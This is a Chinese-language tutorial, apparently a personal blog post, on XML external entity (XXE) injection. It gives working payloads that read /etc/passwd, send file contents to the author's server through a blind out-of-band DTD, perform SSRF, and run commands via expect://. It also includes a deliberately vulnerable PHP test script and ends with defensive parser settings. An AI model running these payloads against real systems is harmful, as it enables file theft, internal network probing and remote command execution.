XXE漏洞是XML外部实体化注入,解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,可造成文件读取、命令执行、ssrf、DDOS等漏洞,外部实体化和DTD的外部实体化方式有关。
0x01 XML,DTD基础
1.教程
2.DTD外部实体
语法为:
<!ENTITY name SYSTEM "URL/URI">
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE address SYSTEM "address.dtd">
<address>
<name>sp4rk</name>
<email>admin@sp4rk.cn</email>
</address>
address.dtd为:
<!ELEMENT address (name, email)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT email (#PCDATA)>
参数实体:
<!ENTITY % ename "entity_value">
<!--entity_value is any character that is not an '&', '%' or ' " -->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE address [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>
0x02 XXE漏洞攻击
1.任意文件读取
在vps上测试下,simplexml_load_string,SimpleXMLElement,DOMDocument类均可触发xml,这里以DOMDocument为例
<?php
#让php允许外部实体
libxml_disable_entity_loader(false);
$xml = file_get_contents('php://input');
$dom=DOMDocument::loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
#LIBXML_NOENT:将XML中的实体引用替换成对应的值
#LIBXML_DTDLOAD:加载 DOCTYPE 中的DTD文件
$test = simplexml_import_dom($dom);
#simplexml_import_dom:从DOM节点获取一个SimpleXMLElement对象。
$user = $test->user;
echo "test xml external entity: $user";
?>
post xml内容:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ELEMENT test ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<test>
<user>&xxe;</user>
</test>
可以发现成功读取了/etc/passwd
大多数情况下,页面是没有回显的(blind xxe),可以运用php伪协议进行文件读取,我本地测试了很久没测试出来(菜的一批)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ELEMENT test ANY >
<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY %dtd SYSTEM "http://sp4rk.cn/test.dtd">
]>
<test></test>
test.dtd为
<!ENTITY %all "<!ENTITY % mydata SYSTEM "http://sp4rk.cn/?%file">"> %all;
2.ssrf
虚拟机中测试,xml代码如下,本地192.168.199.239监听1234端口
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "http://192.168.199.239:1234">]>
<root>&test;</root>
3.RCE
当开启PHP PECL扩展库中的expect的时候,可以造成命令执行
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ELEMENT test ANY >
<!ENTITY xxe SYSTEM "expect://whoami" >]>
<test>
<user>&xxe;</user>
</test>
0x03 xxe漏洞防御
1.禁用xml外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.过滤xml外部实体的关键字:
过滤<!DOCTYPE>, <!ENTITY>, SYSTEM 等